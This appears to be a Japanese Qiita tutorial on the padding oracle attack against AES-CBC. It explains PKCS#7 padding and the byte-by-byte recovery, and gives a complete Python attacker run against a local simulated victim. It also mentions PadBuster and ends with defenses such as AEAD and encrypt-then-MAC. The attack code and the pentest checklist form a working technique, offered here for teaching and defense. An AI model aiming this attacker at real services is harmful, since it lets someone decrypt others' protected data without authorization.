0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【セキュリティ】Padding Oracle Attack― CBC モードに潜む“静かな情報漏えい

Last updated at Posted at 2026-01-07

はじめに

暗号化はデータを守る最後の砦です。しかし、アルゴリズムが強固でも、実装を誤ると簡単に破られることがあります。その代表例が Padding Oracle Attack(パディング・オラクル攻撃) です。

この攻撃は「暗号を解く」のではなく、サーバーの反応を観察して少しずつ平文を暴くという、非常にスマート(そして意地悪)な手法です。


1. Padding Oracle Attack とは何か

Padding Oracle Attack は、CBC(Cipher Block Chaining)モードで暗号化されたデータに対して成立します。

成立条件はたったこれだけです:

  • サーバーが padding が正しいかどうかを区別できる形で返答する
    • エラーメッセージが違う
    • HTTP ステータスコードが違う
    • レスポンス時間が微妙に違う

このときサーバーは

「この暗号文の padding は正しい/間違っている」
を教えてくれる Oracle(神託装置) になってしまいます。


2. PKCS#7 Padding の基礎(なぜ狙われる?)

AES のようなブロック暗号は 固定長(AESなら16バイト) でしか処理できません。
そこで使われるのが PKCS#7 Padding です。

PKCS#7 のルール(超重要)

  • 余りが N バイトなら、0xNNN 個追加
  • すでにピッタリでも、必ず1ブロック分 padding を足す

例(block size = 8):

平文長 mod 8 padding 追加される値
7 1 0x01
6 2 0x02 0x02
0 8 0x08 x8

padding が「意味のある構造」を持つことが、攻撃成立の根本原因です。


3. CBC モードの復号式が“運命を決める”

CBC モードの復号は、次の式で表されます:
$$
P_i = D_k(C_i) \oplus C_{i-1}
$$

  • $C_i$:現在の暗号ブロック
  • $C_{i-1}$:前の暗号ブロック(または IV)
  • $D_k(C_i)$:鍵で復号した 中間値
  • $P_i$:平文ブロック

攻撃者は鍵を知らない
でも $C_{i-1}$ は自由に書き換えられる

つまり:

「前のブロックを細工すると、次の平文がコントロールできる」

これが Padding Oracle の核心です。


4. 攻撃の流れ(1バイトずつ盗む)

Step 1:最後の1バイトを狙う

  • padding を 0x01 にしたい
  • IV(または前ブロック)の最後の1バイトを 0〜255 で総当たり
  • padding が valid になった瞬間=当たり

そこから:
$$
D_k(C_i)[16] = guess \oplus 0x01
$$

Step 2:後ろ2バイトを 0x02 0x02 に固定

  • すでに分かった末尾を利用
  • 次の1バイトを総当たり

Step 3:これを先頭まで繰り返す

  • 16バイトすべて復元
  • padding を除去 → 平文完成

暗号を解いていないのに、平文が取れる
これが Padding Oracle の怖さです。


5. Python による自動化

攻撃は基本的に 二重ループ です。

def _decrypt_block(self,c_prev:bytes,c_cur:bytes) -> bytes:
        """
        Decrypt one block: given C_{i-1} and C_i, recover P_i.
        Uses oracle on (Modified C_(i-1))||C_i(and possibly previous blocks not needed).
        """
        
        assert len(c_prev)== self.bs and len(c_cur)== self.bs

        #intermediate =DC(C_i) (a.ka."keystream"/ "intermediate state")
        intermediate =bytearray(self.bs)
        plaintext = bytearray(self.bs)

        # we will craft a modified previous block (like a fake IV)
        modified = bytearray(c_prev)

        #work from last byte to first
        for pad_len in range(1,self.bs+1):
            idx =self.bs -pad_len

            # set the tail bytes to enforce padding = pad_len
            for j in range(self.bs-1,idx,-1):
                modified[j]= intermediate[j]^pad_len
            
            # brute force current byte
            found = None

            # A small trick: to reduce false positives when pad_len==1,
            # we can do a secondary check later.
            for guess in range(256):
                modified[idx]=guess
                test = bytes(modified)+c_cur

                if not self.oracle(test):
                    continue

                # secondary check for pad_len ==1(avoid false positives) 
                if pad_len ==1:
                    #flip a neighboring byte (idx-1) and re-check
                    # if padding was actually 0x02 0x02 (or longer),this likely breaks it
                    tweaked =bytearray(modified)
                    tweaked[idx-1]^=1
                    test2 = bytearray(tweaked)+c_cur

                    if not self.oracle(test2):
                        #false positive,keep searching
                        continue
                
                found=guess
                break


            if found is None:
                raise RuntimeError(f"Failed to find valid padding at byte index{idx}")
            

            #compute intermediate byte:
            # if padding valid => DK(C_i)[idx] XOR modified[idx] == pad_len
            intermediate[idx] =found^pad_len
            # compute plaintext byte:P_i =intermediate XOR original C_{i-1}
            plaintext[idx] =intermediate[idx]^c_prev[idx]

        return bytes(plaintext)

✔ 外側:右 → 左
✔ 内側:0〜255 brute-force
✔ Oracle の Yes / No だけを使う


6. PadBuster:実戦向け自動攻撃ツール

PadBuster は Padding Oracle 専用の有名ツールです。

特徴:

  • エラーの違いを自動判別
  • IV + ciphertext を自動分割
  • 復号だけでなく 再暗号化(改ざん)も可能

実務・CTF どちらでも:

「CBC + padding エラーが見えたら、とりあえず PadBuster」

でOKです。


7. ペンテスター視点のチェックポイント

  • Cookie / URL / POST に ランダムっぽい hex / base64 があるか
  • 1バイト変えたときの
    • ステータスコード
    • エラーメッセージ
    • レスポンスサイズ
    • レスポンス時間

⚠️ 1ビットの違いが致命傷 になります。


8. 開発者が絶対に守るべき対策

最強の対策(これ一択)

  • AEAD を使う
    • AES-GCM
    • AES-CCM
    • ChaCha20-Poly1305

Padding Oracle は理論上成立しません


どうしても CBC を使うなら

  • Encrypt-then-MAC(MAC 検証 → 復号)
  • padding エラーと他エラーを完全に同一化
  • 処理時間を一定にする
  • エラーメッセージを外部に出さない

まとめ

  • Padding Oracle は「暗号の弱さ」ではなく 実装ミスの集大成
  • CBC + PKCS#7 + エラー分岐 = 危険
  • 攻撃は 数式1行と Yes/No 応答 だけで成立
  • 防御は AEAD を使うだけで即解決

「暗号は正しく使われて初めて暗号になる」

—— この攻撃は、それを教えてくれる最高の教材です。

Sourcecode

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad,unpad
from Crypto.Random import get_random_bytes
from binascii import hexlify,unhexlify
from dataclasses import dataclass
from typing import Callable,Optional,Tuple

BLOCK_SIZE=16


@dataclass
class VictimCBC:
    """
    A vulnerable "victim" that decrypts AES-CBC and reveals padding validity.
    This simulates a padding oracle vulnerability.
    """
    key:bytes

    def encrypt(self,plaintext:bytes) -> bytes:
        iv = get_random_bytes(BLOCK_SIZE)
        cipher = AES.new(self.key,AES.MODE_CBC,iv)
        ct = cipher.encrypt(pad(plaintext,BLOCK_SIZE))
        return iv+ct # common format : IV || CT
    
    def padding_oracle(self,iv_ct:bytes)->bool:
        """
        Oracle returns True if padding is valid,False otherwise.
        Real apps might leak this via different status codes, messages, timing,ect.
        """
        if len(iv_ct)<1*BLOCK_SIZE or len(iv_ct)%BLOCK_SIZE !=0:
            return False
        
        iv=iv_ct[:BLOCK_SIZE]
        ct=iv_ct[BLOCK_SIZE:]
        cipher = AES.new(self.key,AES.MODE_CBC,iv)
        pt = cipher.decrypt(ct)

        try:
            _=unpad(pt,BLOCK_SIZE)
            return True
        except ValueError:
            return False


class PaddingOracleAttacker:
    def __init__(self,oracle:Callable[[bytes],bool],block_size:int =16):
        self.oracle=oracle
        self.bs= block_size

    def _split_blocks(self,data:bytes)-> list[bytes]:
        return [data[i:i+self.bs] for i in range(0,len(data),self.bs)]

    def decrypt(self,iv_ct:bytes) -> bytes:
        """
        Decrypt IV||CT using padding oracle,without knowing the key.
        Returns plaintext(unpadded).
        """
        if len(iv_ct) <2 *self.bs or len(iv_ct)%self.bs !=0:
            raise ValueError("Ciphertext must be IV|CT with full blocks.")
        
        blocks= self._split_blocks(iv_ct)
        #blocks[0] is IV, blocks[1..] are ciphertext blocks
        recovered = bytearray()

        for i in range(1,len(blocks)):
            c_prev =blocks[i-1]
            c_cur= blocks[i]
            p_block =self._decrypt_block(c_prev,c_cur)
            recovered.extend(p_block)
        
        return unpad(bytes(recovered),self.bs)
    
    def _decrypt_block(self,c_prev:bytes,c_cur:bytes) -> bytes:
        """
        Decrypt one block: given C_{i-1} and C_i, recover P_i.
        Uses oracle on (Modified C_(i-1))||C_i(and possibly previous blocks not needed).
        """
        
        assert len(c_prev)== self.bs and len(c_cur)== self.bs

        #intermediate =DC(C_i) (a.ka."keystream"/ "intermediate state")
        intermediate =bytearray(self.bs)
        plaintext = bytearray(self.bs)

        # we will craft a modified previous block (like a fake IV)
        modified = bytearray(c_prev)

        #work from last byte to first
        for pad_len in range(1,self.bs+1):
            idx =self.bs -pad_len

            # set the tail bytes to enforce padding = pad_len
            for j in range(self.bs-1,idx,-1):
                modified[j]= intermediate[j]^pad_len
            
            # brute force current byte
            found = None

            # A small trick: to reduce false positives when pad_len==1,
            # we can do a secondary check later.
            for guess in range(256):
                modified[idx]=guess
                test = bytes(modified)+c_cur

                if not self.oracle(test):
                    continue

                # secondary check for pad_len ==1(avoid false positives) 
                if pad_len ==1:
                    #flip a neighboring byte (idx-1) and re-check
                    # if padding was actually 0x02 0x02 (or longer),this likely breaks it
                    tweaked =bytearray(modified)
                    tweaked[idx-1]^=1
                    test2 = bytearray(tweaked)+c_cur

                    if not self.oracle(test2):
                        #false positive,keep searching
                        continue
                
                found=guess
                break


            if found is None:
                raise RuntimeError(f"Failed to find valid padding at byte index{idx}")
            

            #compute intermediate byte:
            # if padding valid => DK(C_i)[idx] XOR modified[idx] == pad_len
            intermediate[idx] =found^pad_len
            # compute plaintext byte:P_i =intermediate XOR original C_{i-1}
            plaintext[idx] =intermediate[idx]^c_prev[idx]

        return bytes(plaintext)
    
def main():
    key = get_random_bytes(16)
    victim = VictimCBC(key=key)

    secret = b" Padding oracles are sneaky!"
    iv_ct= victim.encrypt(secret)

    attacker =PaddingOracleAttacker(oracle=victim.padding_oracle,block_size=BLOCK_SIZE)
    recovered = attacker.decrypt(iv_ct)

    print("Original :",secret)
    print("Recovered:", recovered)
    print("Match  :",recovered==secret)


if __name__=="__main__":
    main()

    

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?